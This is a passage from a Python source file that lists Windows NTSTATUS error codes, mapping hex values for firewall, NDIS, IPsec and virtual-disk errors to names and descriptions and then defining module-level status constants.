0xC022001F: ("STATUS_FWP_INVALID_NET_MASK","A network mask is not valid."),
0xC0220020: ("STATUS_FWP_INVALID_RANGE","An FWP_RANGE is not valid."),
0xC0220021: ("STATUS_FWP_INVALID_INTERVAL","The time interval is not valid."),
0xC0220022: ("STATUS_FWP_ZERO_LENGTH_ARRAY","An array that must contain at least one element has a zero length."),
0xC0220023: ("STATUS_FWP_NULL_DISPLAY_NAME","The displayData.name field cannot be null."),
0xC0220024: ("STATUS_FWP_INVALID_ACTION_TYPE","The action type is not one of the allowed action types for a filter."),
0xC0220025: ("STATUS_FWP_INVALID_WEIGHT","The filter weight is not valid."),
0xC0220026: ("STATUS_FWP_MATCH_TYPE_MISMATCH","A filter condition contains a match type that is not compatible with the operands."),
0xC0220027: ("STATUS_FWP_TYPE_MISMATCH","An FWP_VALUE or FWPM_CONDITION_VALUE is of the wrong type."),
0xC0220028: ("STATUS_FWP_OUT_OF_BOUNDS","An integer value is outside the allowed range."),
0xC0220029: ("STATUS_FWP_RESERVED","A reserved field is nonzero."),
0xC022002A: ("STATUS_FWP_DUPLICATE_CONDITION","A filter cannot contain multiple conditions operating on a single field."),
0xC022002B: ("STATUS_FWP_DUPLICATE_KEYMOD","A policy cannot contain the same keying module more than once."),
0xC022002C: ("STATUS_FWP_ACTION_INCOMPATIBLE_WITH_LAYER","The action type is not compatible with the layer."),
0xC022002D: ("STATUS_FWP_ACTION_INCOMPATIBLE_WITH_SUBLAYER","The action type is not compatible with the sublayer."),
0xC022002E: ("STATUS_FWP_CONTEXT_INCOMPATIBLE_WITH_LAYER","The raw context or the provider context is not compatible with the layer."),
0xC022002F: ("STATUS_FWP_CONTEXT_INCOMPATIBLE_WITH_CALLOUT","The raw context or the provider context is not compatible with the callout."),
0xC0220030: ("STATUS_FWP_INCOMPATIBLE_AUTH_METHOD","The authentication method is not compatible with the policy type."),
0xC0220031: ("STATUS_FWP_INCOMPATIBLE_DH_GROUP","The Diffie-Hellman group is not compatible with the policy type."),
0xC0220032: ("STATUS_FWP_EM_NOT_SUPPORTED","An IKE policy cannot contain an Extended Mode policy."),
0xC0220033: ("STATUS_FWP_NEVER_MATCH","The enumeration template or subscription will never match any objects."),
0xC0220034: ("STATUS_FWP_PROVIDER_CONTEXT_MISMATCH","The provider context is of the wrong type."),
0xC0220035: ("STATUS_FWP_INVALID_PARAMETER","The parameter is incorrect."),
0xC0220036: ("STATUS_FWP_TOO_MANY_SUBLAYERS","The maximum number of sublayers has been reached."),
0xC0220037: ("STATUS_FWP_CALLOUT_NOTIFICATION_FAILED","The notification function for a callout returned an error."),
0xC0220038: ("STATUS_FWP_INCOMPATIBLE_AUTH_CONFIG","The IPsec authentication configuration is not compatible with the authentication type."),
0xC0220039: ("STATUS_FWP_INCOMPATIBLE_CIPHER_CONFIG","The IPsec cipher configuration is not compatible with the cipher type."),
0xC022003C: ("STATUS_FWP_DUPLICATE_AUTH_METHOD","A policy cannot contain the same auth method more than once."),
0xC0220100: ("STATUS_FWP_TCPIP_NOT_READY","The TCP/IP stack is not ready."),
0xC0220101: ("STATUS_FWP_INJECT_HANDLE_CLOSING","The injection handle is being closed by another thread."),
0xC0220102: ("STATUS_FWP_INJECT_HANDLE_STALE","The injection handle is stale."),
0xC0220103: ("STATUS_FWP_CANNOT_PEND","The classify cannot be pended."),
0xC0230002: ("STATUS_NDIS_CLOSING","The binding to the network interface is being closed."),
0xC0230004: ("STATUS_NDIS_BAD_VERSION","An invalid version was specified."),
0xC0230005: ("STATUS_NDIS_BAD_CHARACTERISTICS","An invalid characteristics table was used."),
0xC0230006: ("STATUS_NDIS_ADAPTER_NOT_FOUND","Failed to find the network interface or the network interface is not ready."),
0xC0230007: ("STATUS_NDIS_OPEN_FAILED","Failed to open the network interface."),
0xC0230008: ("STATUS_NDIS_DEVICE_FAILED","The network interface has encountered an internal unrecoverable failure."),
0xC0230009: ("STATUS_NDIS_MULTICAST_FULL","The multicast list on the network interface is full."),
0xC023000A: ("STATUS_NDIS_MULTICAST_EXISTS","An attempt was made to add a duplicate multicast address to the list."),
0xC023000B: ("STATUS_NDIS_MULTICAST_NOT_FOUND","At attempt was made to remove a multicast address that was never added."),
0xC023000C: ("STATUS_NDIS_REQUEST_ABORTED","The network interface aborted the request."),
0xC023000D: ("STATUS_NDIS_RESET_IN_PROGRESS","The network interface cannot process the request because it is being reset."),
0xC023000F: ("STATUS_NDIS_INVALID_PACKET","An attempt was made to send an invalid packet on a network interface."),
0xC0230010: ("STATUS_NDIS_INVALID_DEVICE_REQUEST","The specified request is not a valid operation for the target device."),
0xC0230011: ("STATUS_NDIS_ADAPTER_NOT_READY","The network interface is not ready to complete this operation."),
0xC0230014: ("STATUS_NDIS_INVALID_LENGTH","The length of the buffer submitted for this operation is not valid."),
0xC0230015: ("STATUS_NDIS_INVALID_DATA","The data used for this operation is not valid."),
0xC0230016: ("STATUS_NDIS_BUFFER_TOO_SHORT","The length of the submitted buffer for this operation is too small."),
0xC0230017: ("STATUS_NDIS_INVALID_OID","The network interface does not support this object identifier."),
0xC0230018: ("STATUS_NDIS_ADAPTER_REMOVED","The network interface has been removed."),
0xC0230019: ("STATUS_NDIS_UNSUPPORTED_MEDIA","The network interface does not support this media type."),
0xC023001A: ("STATUS_NDIS_GROUP_ADDRESS_IN_USE","An attempt was made to remove a token ring group address that is in use by other components."),
0xC023001B: ("STATUS_NDIS_FILE_NOT_FOUND","An attempt was made to map a file that cannot be found."),
0xC023001C: ("STATUS_NDIS_ERROR_READING_FILE","An error occurred while NDIS tried to map the file."),
0xC023001D: ("STATUS_NDIS_ALREADY_MAPPED","An attempt was made to map a file that is already mapped."),
0xC023001E: ("STATUS_NDIS_RESOURCE_CONFLICT","An attempt to allocate a hardware resource failed because the resource is used by another component."),
0xC023001F: ("STATUS_NDIS_MEDIA_DISCONNECTED","The I/O operation failed because the network media is disconnected or the wireless access point is out of range."),
0xC0230022: ("STATUS_NDIS_INVALID_ADDRESS","The network address used in the request is invalid."),
0xC023002A: ("STATUS_NDIS_PAUSED","The offload operation on the network interface has been paused."),
0xC023002B: ("STATUS_NDIS_INTERFACE_NOT_FOUND","The network interface was not found."),
0xC023002C: ("STATUS_NDIS_UNSUPPORTED_REVISION","The revision number specified in the structure is not supported."),
0xC023002D: ("STATUS_NDIS_INVALID_PORT","The specified port does not exist on this network interface."),
0xC023002E: ("STATUS_NDIS_INVALID_PORT_STATE","The current state of the specified port on this network interface does not support the requested operation."),
0xC023002F: ("STATUS_NDIS_LOW_POWER_STATE","The miniport adapter is in a lower power state."),
0xC02300BB: ("STATUS_NDIS_NOT_SUPPORTED","The network interface does not support this request."),
0xC023100F: ("STATUS_NDIS_OFFLOAD_POLICY","The TCP connection is not offloadable because of a local policy setting."),
0xC0231012: ("STATUS_NDIS_OFFLOAD_CONNECTION_REJECTED","The TCP connection is not offloadable by the Chimney offload target."),
0xC0231013: ("STATUS_NDIS_OFFLOAD_PATH_REJECTED","The IP Path object is not in an offloadable state."),
0xC0232000: ("STATUS_NDIS_DOT11_AUTO_CONFIG_ENABLED","The wireless LAN interface is in auto-configuration mode and does not support the requested parameter change operation."),
0xC0232001: ("STATUS_NDIS_DOT11_MEDIA_IN_USE","The wireless LAN interface is busy and cannot perform the requested operation."),
0xC0232002: ("STATUS_NDIS_DOT11_POWER_STATE_INVALID","The wireless LAN interface is power down and does not support the requested operation."),
0xC0232003: ("STATUS_NDIS_PM_WOL_PATTERN_LIST_FULL","The list of wake on LAN patterns is full."),
0xC0232004: ("STATUS_NDIS_PM_PROTOCOL_OFFLOAD_LIST_FULL","The list of low power protocol offloads is full."),
0xC0360001: ("STATUS_IPSEC_BAD_SPI","The SPI in the packet does not match a valid IPsec SA."),
0xC0360002: ("STATUS_IPSEC_SA_LIFETIME_EXPIRED","The packet was received on an IPsec SA whose lifetime has expired."),
0xC0360003: ("STATUS_IPSEC_WRONG_SA","The packet was received on an IPsec SA that does not match the packet characteristics."),
0xC0360004: ("STATUS_IPSEC_REPLAY_CHECK_FAILED","The packet sequence number replay check failed."),
0xC0360005: ("STATUS_IPSEC_INVALID_PACKET","The IPsec header and/or trailer in the packet is invalid."),
0xC0360006: ("STATUS_IPSEC_INTEGRITY_CHECK_FAILED","The IPsec integrity check failed."),
0xC0360007: ("STATUS_IPSEC_CLEAR_TEXT_DROP","IPsec dropped a clear text packet."),
0xC0360008: ("STATUS_IPSEC_AUTH_FIREWALL_DROP","IPsec dropped an incoming ESP packet in authenticated firewall mode. This drop is benign."),
0xC0360009: ("STATUS_IPSEC_THROTTLE_DROP","IPsec dropped a packet due to DOS throttle."),
0xC0368000: ("STATUS_IPSEC_DOSP_BLOCK","IPsec Dos Protection matched an explicit block rule."),
0xC0368001: ("STATUS_IPSEC_DOSP_RECEIVED_MULTICAST","IPsec Dos Protection received an IPsec specific multicast packet which is not allowed."),
0xC0368002: ("STATUS_IPSEC_DOSP_INVALID_PACKET","IPsec Dos Protection received an incorrectly formatted packet."),
0xC0368003: ("STATUS_IPSEC_DOSP_STATE_LOOKUP_FAILED","IPsec Dos Protection failed to lookup state."),
0xC0368004: ("STATUS_IPSEC_DOSP_MAX_ENTRIES","IPsec Dos Protection failed to create state because there are already maximum number of entries allowed by policy."),
0xC0368005: ("STATUS_IPSEC_DOSP_KEYMOD_NOT_ALLOWED","IPsec Dos Protection received an IPsec negotiation packet for a keying module which is not allowed by policy."),
0xC0368006: ("STATUS_IPSEC_DOSP_MAX_PER_IP_RATELIMIT_QUEUES","IPsec Dos Protection failed to create per internal IP ratelimit queue because there is already maximum number of queues allowed by policy."),
0xC038005B: ("STATUS_VOLMGR_MIRROR_NOT_SUPPORTED","The system does not support mirrored volumes."),
0xC038005C: ("STATUS_VOLMGR_RAID5_NOT_SUPPORTED","The system does not support RAID-5 volumes."),
0xC03A0014: ("STATUS_VIRTDISK_PROVIDER_NOT_FOUND","A virtual disk support provider for the specified file was not found."),
0xC03A0015: ("STATUS_VIRTDISK_NOT_VIRTUAL_DISK","The specified disk is not a virtual disk."),
0xC03A0016: ("STATUS_VHD_PARENT_VHD_ACCESS_DENIED","The chain of virtual hard disks is inaccessible. The process has not been granted access rights to the parent virtual hard disk for the differencing disk."),
0xC03A0017: ("STATUS_VHD_CHILD_PARENT_SIZE_MISMATCH","The chain of virtual hard disks is corrupted. There is a mismatch in the virtual sizes of the parent virtual hard disk and differencing disk."),
0xC03A0018: ("STATUS_VHD_DIFFERENCING_CHAIN_CYCLE_DETECTED","The chain of virtual hard disks is corrupted. A differencing disk is indicated in its own parent chain."),
0xC03A0019: ("STATUS_VHD_DIFFERENCING_CHAIN_ERROR_IN_PARENT","The chain of virtual hard disks is inaccessible. There was an error opening a virtual hard disk further up the chain."),
}
# Error Codes
STATUS_SUCCESS = 0x00000000
STATUS_WAIT_1 = 0x00000001
STATUS_WAIT_2 = 0x00000002
STATUS_WAIT_3 = 0x00000003
STATUS_WAIT_63 = 0x0000003F
STATUS_ABANDONED = 0x00000080
STATUS_ABANDONED_WAIT_0 = 0x00000080
STATUS_ABANDONED_WAIT_63 = 0x000000BF
STATUS_USER_APC = 0x000000C0
STATUS_ALERTED = 0x00000101
STATUS_TIMEOUT = 0x00000102
STATUS_PENDING = 0x00000103
STATUS_REPARSE = 0x00000104
STATUS_MORE_ENTRIES = 0x00000105
STATUS_NOT_ALL_ASSIGNED = 0x00000106
STATUS_SOME_NOT_MAPPED = 0x00000107
STATUS_OPLOCK_BREAK_IN_PROGRESS = 0x00000108
STATUS_VOLUME_MOUNTED = 0x00000109
STATUS_RXACT_COMMITTED = 0x0000010A
STATUS_NOTIFY_CLEANUP = 0x0000010B
STATUS_NOTIFY_ENUM_DIR = 0x0000010C
STATUS_NO_QUOTAS_FOR_ACCOUNT = 0x0000010D
STATUS_PRIMARY_TRANSPORT_CONNECT_FAILED = 0x0000010E
STATUS_PAGE_FAULT_TRANSITION = 0x00000110
STATUS_PAGE_FAULT_DEMAND_ZERO = 0x00000111
STATUS_PAGE_FAULT_COPY_ON_WRITE = 0x00000112
STATUS_PAGE_FAULT_GUARD_PAGE = 0x00000113
STATUS_PAGE_FAULT_PAGING_FILE = 0x00000114
STATUS_CACHE_PAGE_LOCKED = 0x00000115
STATUS_CRASH_DUMP = 0x00000116
STATUS_BUFFER_ALL_ZEROS = 0x00000117
STATUS_REPARSE_OBJECT = 0x00000118
STATUS_RESOURCE_REQUIREMENTS_CHANGED = 0x00000119
STATUS_TRANSLATION_COMPLETE = 0x00000120
STATUS_DS_MEMBERSHIP_EVALUATED_LOCALLY = 0x00000121
STATUS_NOTHING_TO_TERMINATE = 0x00000122
STATUS_PROCESS_NOT_IN_JOB = 0x00000123
STATUS_PROCESS_IN_JOB = 0x00000124
STATUS_VOLSNAP_HIBERNATE_READY = 0x00000125
STATUS_FSFILTER_OP_COMPLETED_SUCCESSFULLY = 0x00000126
STATUS_INTERRUPT_VECTOR_ALREADY_CONNECTED = 0x00000127
STATUS_INTERRUPT_STILL_CONNECTED = 0x00000128
STATUS_PROCESS_CLONED = 0x00000129
STATUS_FILE_LOCKED_WITH_ONLY_READERS = 0x0000012A
STATUS_FILE_LOCKED_WITH_WRITERS = 0x0000012B
STATUS_RESOURCEMANAGER_READ_ONLY = 0x00000202
STATUS_WAIT_FOR_OPLOCK = 0x00000367
DBG_EXCEPTION_HANDLED = 0x00010001
DBG_CONTINUE = 0x00010002
STATUS_FLT_IO_COMPLETE = 0x001C0001
STATUS_FILE_NOT_AVAILABLE = 0xC0000467
STATUS_CALLBACK_RETURNED_THREAD_AFFINITY = 0xC0000721
STATUS_OBJECT_NAME_EXISTS = 0x40000000
STATUS_THREAD_WAS_SUSPENDED = 0x40000001
STATUS_WORKING_SET_LIMIT_RANGE = 0x40000002
STATUS_IMAGE_NOT_AT_BASE = 0x40000003
STATUS_RXACT_STATE_CREATED = 0x40000004
STATUS_SEGMENT_NOTIFICATION = 0x40000005
STATUS_LOCAL_USER_SESSION_KEY = 0x40000006
STATUS_BAD_CURRENT_DIRECTORY = 0x40000007
STATUS_SERIAL_MORE_WRITES = 0x40000008
STATUS_REGISTRY_RECOVERED = 0x40000009
STATUS_FT_READ_RECOVERY_FROM_BACKUP = 0x4000000A
STATUS_FT_WRITE_RECOVERY = 0x4000000B
STATUS_SERIAL_COUNTER_TIMEOUT = 0x4000000C
STATUS_NULL_LM_PASSWORD = 0x4000000D
STATUS_IMAGE_MACHINE_TYPE_MISMATCH = 0x4000000E
STATUS_RECEIVE_PARTIAL = 0x4000000F
STATUS_RECEIVE_EXPEDITED = 0x40000010
STATUS_RECEIVE_PARTIAL_EXPEDITED = 0x40000011
STATUS_EVENT_DONE = 0x40000012
STATUS_EVENT_PENDING = 0x40000013
STATUS_CHECKING_FILE_SYSTEM = 0x40000014
STATUS_FATAL_APP_EXIT = 0x40000015
STATUS_PREDEFINED_HANDLE = 0x40000016
STATUS_WAS_UNLOCKED = 0x40000017
STATUS_SERVICE_NOTIFICATION = 0x40000018
STATUS_WAS_LOCKED = 0x40000019
STATUS_LOG_HARD_ERROR = 0x4000001A
STATUS_ALREADY_WIN32 = 0x4000001B
STATUS_WX86_UNSIMULATE = 0x4000001C
STATUS_WX86_CONTINUE = 0x4000001D
STATUS_WX86_SINGLE_STEP = 0x4000001E
STATUS_WX86_BREAKPOINT = 0x4000001F
STATUS_WX86_EXCEPTION_CONTINUE = 0x40000020
STATUS_WX86_EXCEPTION_LASTCHANCE = 0x40000021
STATUS_WX86_EXCEPTION_CHAIN = 0x40000022
STATUS_IMAGE_MACHINE_TYPE_MISMATCH_EXE = 0x40000023
STATUS_NO_YIELD_PERFORMED = 0x40000024
STATUS_TIMER_RESUME_IGNORED = 0x40000025
STATUS_ARBITRATION_UNHANDLED = 0x40000026
STATUS_CARDBUS_NOT_SUPPORTED = 0x40000027
STATUS_WX86_CREATEWX86TIB = 0x40000028
STATUS_MP_PROCESSOR_MISMATCH = 0x40000029
STATUS_HIBERNATED = 0x4000002A
STATUS_RESUME_HIBERNATION = 0x4000002B
STATUS_FIRMWARE_UPDATED = 0x4000002C
STATUS_DRIVERS_LEAKING_LOCKED_PAGES = 0x4000002D
STATUS_MESSAGE_RETRIEVED = 0x4000002E
STATUS_SYSTEM_POWERSTATE_TRANSITION = 0x4000002F
STATUS_ALPC_CHECK_COMPLETION_LIST = 0x40000030
STATUS_SYSTEM_POWERSTATE_COMPLEX_TRANSITION = 0x40000031
STATUS_ACCESS_AUDIT_BY_POLICY = 0x40000032
STATUS_ABANDON_HIBERFILE = 0x40000033
STATUS_BIZRULES_NOT_ENABLED = 0x40000034
STATUS_WAKE_SYSTEM = 0x40000294
STATUS_DS_SHUTTING_DOWN = 0x40000370
DBG_REPLY_LATER = 0x40010001
DBG_UNABLE_TO_PROVIDE_HANDLE = 0x40010002
DBG_TERMINATE_THREAD = 0x40010003
DBG_TERMINATE_PROCESS = 0x40010004
DBG_CONTROL_C = 0x40010005
DBG_PRINTEXCEPTION_C = 0x40010006
DBG_RIPEXCEPTION = 0x40010007
DBG_CONTROL_BREAK = 0x40010008
DBG_COMMAND_EXCEPTION = 0x40010009
RPC_NT_UUID_LOCAL_ONLY = 0x40020056
RPC_NT_SEND_INCOMPLETE = 0x400200AF
STATUS_CTX_CDM_CONNECT = 0x400A0004
STATUS_CTX_CDM_DISCONNECT = 0x400A0005
STATUS_SXS_RELEASE_ACTIVATION_CONTEXT = 0x4015000D
STATUS_RECOVERY_NOT_NEEDED = 0x40190034
STATUS_RM_ALREADY_STARTED = 0x40190035
STATUS_LOG_NO_RESTART = 0x401A000C
STATUS_VIDEO_DRIVER_DEBUG_REPORT_REQUEST = 0x401B00EC
STATUS_GRAPHICS_PARTIAL_DATA_POPULATED = 0x401E000A
STATUS_GRAPHICS_DRIVER_MISMATCH = 0x401E0117
STATUS_GRAPHICS_MODE_NOT_PINNED = 0x401E0307
STATUS_GRAPHICS_NO_PREFERRED_MODE = 0x401E031E
STATUS_GRAPHICS_DATASET_IS_EMPTY = 0x401E034B
STATUS_GRAPHICS_NO_MORE_ELEMENTS_IN_DATASET = 0x401E034C
STATUS_GRAPHICS_PATH_CONTENT_GEOMETRY_TRANSFORMATION_NOT_PINNED = 0x401E0351
STATUS_GRAPHICS_UNKNOWN_CHILD_STATUS = 0x401E042F
STATUS_GRAPHICS_LEADLINK_START_DEFERRED = 0x401E0437
STATUS_GRAPHICS_POLLING_TOO_FREQUENTLY = 0x401E0439
STATUS_GRAPHICS_START_DEFERRED = 0x401E043A
STATUS_NDIS_INDICATION_REQUIRED = 0x40230001
STATUS_GUARD_PAGE_VIOLATION = 0x80000001
STATUS_DATATYPE_MISALIGNMENT = 0x80000002
STATUS_BREAKPOINT = 0x80000003
STATUS_SINGLE_STEP = 0x80000004
STATUS_BUFFER_OVERFLOW = 0x80000005
STATUS_NO_MORE_FILES = 0x80000006
STATUS_WAKE_SYSTEM_DEBUGGER = 0x80000007
STATUS_HANDLES_CLOSED = 0x8000000A
STATUS_NO_INHERITANCE = 0x8000000B
STATUS_GUID_SUBSTITUTION_MADE = 0x8000000C
STATUS_PARTIAL_COPY = 0x8000000D
STATUS_DEVICE_PAPER_EMPTY = 0x8000000E
STATUS_DEVICE_POWERED_OFF = 0x8000000F
STATUS_DEVICE_OFF_LINE = 0x80000010
STATUS_DEVICE_BUSY = 0x80000011
STATUS_NO_MORE_EAS = 0x80000012
STATUS_INVALID_EA_NAME = 0x80000013
STATUS_EA_LIST_INCONSISTENT = 0x80000014
STATUS_INVALID_EA_FLAG = 0x80000015
STATUS_VERIFY_REQUIRED = 0x80000016
STATUS_EXTRANEOUS_INFORMATION = 0x80000017
STATUS_RXACT_COMMIT_NECESSARY = 0x80000018
STATUS_NO_MORE_ENTRIES = 0x8000001A
STATUS_FILEMARK_DETECTED = 0x8000001B
STATUS_MEDIA_CHANGED = 0x8000001C
STATUS_BUS_RESET = 0x8000001D
STATUS_END_OF_MEDIA = 0x8000001E
STATUS_BEGINNING_OF_MEDIA = 0x8000001F
STATUS_MEDIA_CHECK = 0x80000020
STATUS_SETMARK_DETECTED = 0x80000021
STATUS_NO_DATA_DETECTED = 0x80000022
STATUS_REDIRECTOR_HAS_OPEN_HANDLES = 0x80000023
STATUS_SERVER_HAS_OPEN_HANDLES = 0x80000024
STATUS_ALREADY_DISCONNECTED = 0x80000025
STATUS_LONGJUMP = 0x80000026
STATUS_CLEANER_CARTRIDGE_INSTALLED = 0x80000027
STATUS_PLUGPLAY_QUERY_VETOED = 0x80000028
STATUS_UNWIND_CONSOLIDATE = 0x80000029
STATUS_REGISTRY_HIVE_RECOVERED = 0x8000002A
STATUS_DLL_MIGHT_BE_INSECURE = 0x8000002B
STATUS_DLL_MIGHT_BE_INCOMPATIBLE = 0x8000002C
STATUS_STOPPED_ON_SYMLINK = 0x8000002D
STATUS_DEVICE_REQUIRES_CLEANING = 0x80000288
STATUS_DEVICE_DOOR_OPEN = 0x80000289
STATUS_DATA_LOST_REPAIR = 0x80000803
DBG_EXCEPTION_NOT_HANDLED = 0x80010001
STATUS_CLUSTER_NODE_ALREADY_UP = 0x80130001
STATUS_CLUSTER_NODE_ALREADY_DOWN = 0x80130002
STATUS_CLUSTER_NETWORK_ALREADY_ONLINE = 0x80130003
STATUS_CLUSTER_NETWORK_ALREADY_OFFLINE = 0x80130004
STATUS_CLUSTER_NODE_ALREADY_MEMBER = 0x80130005
STATUS_COULD_NOT_RESIZE_LOG = 0x80190009
STATUS_NO_TXF_METADATA = 0x80190029
STATUS_CANT_RECOVER_WITH_HANDLE_OPEN = 0x80190031
STATUS_TXF_METADATA_ALREADY_PRESENT = 0x80190041
STATUS_TRANSACTION_SCOPE_CALLBACKS_NOT_SET = 0x80190042
STATUS_VIDEO_HUNG_DISPLAY_DRIVER_THREAD_RECOVERED = 0x801B00EB
STATUS_FLT_BUFFER_TOO_SMALL = 0x801C0001
STATUS_FVE_PARTIAL_METADATA = 0x80210001
STATUS_FVE_TRANSIENT_STATE = 0x80210002
STATUS_UNSUCCESSFUL = 0xC0000001
STATUS_NOT_IMPLEMENTED = 0xC0000002
STATUS_INVALID_INFO_CLASS = 0xC0000003
STATUS_INFO_LENGTH_MISMATCH = 0xC0000004
STATUS_ACCESS_VIOLATION = 0xC0000005
STATUS_IN_PAGE_ERROR = 0xC0000006
STATUS_PAGEFILE_QUOTA = 0xC0000007
STATUS_INVALID_HANDLE = 0xC0000008
STATUS_BAD_INITIAL_STACK = 0xC0000009
STATUS_BAD_INITIAL_PC = 0xC000000A
STATUS_INVALID_CID = 0xC000000B
STATUS_TIMER_NOT_CANCELED = 0xC000000C
STATUS_INVALID_PARAMETER = 0xC000000D
STATUS_NO_SUCH_DEVICE = 0xC000000E
STATUS_NO_SUCH_FILE = 0xC000000F
STATUS_INVALID_DEVICE_REQUEST = 0xC0000010
STATUS_END_OF_FILE = 0xC0000011
STATUS_WRONG_VOLUME = 0xC0000012
STATUS_NO_MEDIA_IN_DEVICE = 0xC0000013
STATUS_UNRECOGNIZED_MEDIA = 0xC0000014
STATUS_NONEXISTENT_SECTOR = 0xC0000015
STATUS_MORE_PROCESSING_REQUIRED = 0xC0000016
STATUS_NO_MEMORY = 0xC0000017
STATUS_CONFLICTING_ADDRESSES = 0xC0000018
STATUS_NOT_MAPPED_VIEW = 0xC0000019
STATUS_UNABLE_TO_FREE_VM = 0xC000001A
STATUS_UNABLE_TO_DELETE_SECTION = 0xC000001B
STATUS_INVALID_SYSTEM_SERVICE = 0xC000001C
STATUS_ILLEGAL_INSTRUCTION = 0xC000001D
STATUS_INVALID_LOCK_SEQUENCE = 0xC000001E
STATUS_INVALID_VIEW_SIZE = 0xC000001F
STATUS_INVALID_FILE_FOR_SECTION = 0xC0000020
STATUS_ALREADY_COMMITTED = 0xC0000021
STATUS_ACCESS_DENIED = 0xC0000022
STATUS_BUFFER_TOO_SMALL = 0xC0000023
STATUS_OBJECT_TYPE_MISMATCH = 0xC0000024
STATUS_NONCONTINUABLE_EXCEPTION = 0xC0000025
STATUS_INVALID_DISPOSITION = 0xC0000026
STATUS_UNWIND = 0xC0000027
STATUS_BAD_STACK = 0xC0000028
STATUS_INVALID_UNWIND_TARGET = 0xC0000029
STATUS_NOT_LOCKED = 0xC000002A
STATUS_PARITY_ERROR = 0xC000002B
STATUS_UNABLE_TO_DECOMMIT_VM = 0xC000002C
STATUS_NOT_COMMITTED = 0xC000002D
STATUS_INVALID_PORT_ATTRIBUTES = 0xC000002E
STATUS_PORT_MESSAGE_TOO_LONG = 0xC000002F
STATUS_INVALID_PARAMETER_MIX = 0xC0000030
STATUS_INVALID_QUOTA_LOWER = 0xC0000031
STATUS_DISK_CORRUPT_ERROR = 0xC0000032
STATUS_OBJECT_NAME_INVALID = 0xC0000033
STATUS_OBJECT_NAME_NOT_FOUND = 0xC0000034
STATUS_OBJECT_NAME_COLLISION = 0xC0000035
STATUS_PORT_DISCONNECTED = 0xC0000037
STATUS_DEVICE_ALREADY_ATTACHED = 0xC0000038
STATUS_OBJECT_PATH_INVALID = 0xC0000039
STATUS_OBJECT_PATH_NOT_FOUND = 0xC000003A
STATUS_OBJECT_PATH_SYNTAX_BAD = 0xC000003B
STATUS_DATA_OVERRUN = 0xC000003C
STATUS_DATA_LATE_ERROR = 0xC000003D
STATUS_DATA_ERROR = 0xC000003E
STATUS_CRC_ERROR = 0xC000003F
STATUS_SECTION_TOO_BIG = 0xC0000040
STATUS_PORT_CONNECTION_REFUSED = 0xC0000041
STATUS_INVALID_PORT_HANDLE = 0xC0000042
STATUS_SHARING_VIOLATION = 0xC0000043
STATUS_QUOTA_EXCEEDED = 0xC0000044
STATUS_INVALID_PAGE_PROTECTION = 0xC0000045
STATUS_MUTANT_NOT_OWNED = 0xC0000046
STATUS_SEMAPHORE_LIMIT_EXCEEDED = 0xC0000047
STATUS_PORT_ALREADY_SET = 0xC0000048
STATUS_SECTION_NOT_IMAGE = 0xC0000049
STATUS_SUSPEND_COUNT_EXCEEDED = 0xC000004A
STATUS_THREAD_IS_TERMINATING = 0xC000004B
STATUS_BAD_WORKING_SET_LIMIT = 0xC000004C
STATUS_INCOMPATIBLE_FILE_MAP = 0xC000004D
STATUS_SECTION_PROTECTION = 0xC000004E
STATUS_EAS_NOT_SUPPORTED = 0xC000004F
STATUS_EA_TOO_LARGE = 0xC0000050
STATUS_NONEXISTENT_EA_ENTRY = 0xC0000051
STATUS_NO_EAS_ON_FILE = 0xC0000052
STATUS_EA_CORRUPT_ERROR = 0xC0000053
STATUS_FILE_LOCK_CONFLICT = 0xC0000054
STATUS_LOCK_NOT_GRANTED = 0xC0000055
STATUS_DELETE_PENDING = 0xC0000056
STATUS_CTL_FILE_NOT_SUPPORTED = 0xC0000057
STATUS_UNKNOWN_REVISION = 0xC0000058
STATUS_REVISION_MISMATCH = 0xC0000059
STATUS_INVALID_OWNER = 0xC000005A
STATUS_INVALID_PRIMARY_GROUP = 0xC000005B
STATUS_NO_IMPERSONATION_TOKEN = 0xC000005C
STATUS_CANT_DISABLE_MANDATORY = 0xC000005D
STATUS_NO_LOGON_SERVERS = 0xC000005E
STATUS_NO_SUCH_LOGON_SESSION = 0xC000005F
STATUS_NO_SUCH_PRIVILEGE = 0xC0000060
STATUS_PRIVILEGE_NOT_HELD = 0xC0000061
STATUS_INVALID_ACCOUNT_NAME = 0xC0000062
STATUS_USER_EXISTS = 0xC0000063
STATUS_NO_SUCH_USER = 0xC0000064
STATUS_GROUP_EXISTS = 0xC0000065
STATUS_NO_SUCH_GROUP = 0xC0000066
STATUS_MEMBER_IN_GROUP = 0xC0000067
STATUS_MEMBER_NOT_IN_GROUP = 0xC0000068
STATUS_LAST_ADMIN = 0xC0000069
STATUS_WRONG_PASSWORD = 0xC000006A
STATUS_ILL_FORMED_PASSWORD = 0xC000006B
STATUS_PASSWORD_RESTRICTION = 0xC000006C
STATUS_LOGON_FAILURE = 0xC000006D
STATUS_ACCOUNT_RESTRICTION = 0xC000006E
STATUS_INVALID_LOGON_HOURS = 0xC000006F
STATUS_INVALID_WORKSTATION = 0xC0000070
STATUS_PASSWORD_EXPIRED = 0xC0000071
STATUS_ACCOUNT_DISABLED = 0xC0000072
STATUS_NONE_MAPPED = 0xC0000073
STATUS_TOO_MANY_LUIDS_REQUESTED = 0xC0000074
STATUS_LUIDS_EXHAUSTED = 0xC0000075
STATUS_INVALID_SUB_AUTHORITY = 0xC0000076
STATUS_INVALID_ACL = 0xC0000077
STATUS_INVALID_SID = 0xC0000078
STATUS_INVALID_SECURITY_DESCR = 0xC0000079
STATUS_PROCEDURE_NOT_FOUND = 0xC000007A
STATUS_INVALID_IMAGE_FORMAT = 0xC000007B
STATUS_NO_TOKEN = 0xC000007C
STATUS_BAD_INHERITANCE_ACL = 0xC000007D
STATUS_RANGE_NOT_LOCKED = 0xC000007E
STATUS_DISK_FULL = 0xC000007F
STATUS_SERVER_DISABLED = 0xC0000080
STATUS_SERVER_NOT_DISABLED = 0xC0000081
STATUS_TOO_MANY_GUIDS_REQUESTED = 0xC0000082
STATUS_GUIDS_EXHAUSTED = 0xC0000083
STATUS_INVALID_ID_AUTHORITY = 0xC0000084
STATUS_AGENTS_EXHAUSTED = 0xC0000085
STATUS_INVALID_VOLUME_LABEL = 0xC0000086
STATUS_SECTION_NOT_EXTENDED = 0xC0000087
STATUS_NOT_MAPPED_DATA = 0xC0000088
STATUS_RESOURCE_DATA_NOT_FOUND = 0xC0000089
STATUS_RESOURCE_TYPE_NOT_FOUND = 0xC000008A
STATUS_RESOURCE_NAME_NOT_FOUND = 0xC000008B
STATUS_ARRAY_BOUNDS_EXCEEDED = 0xC000008C
STATUS_FLOAT_DENORMAL_OPERAND = 0xC000008D
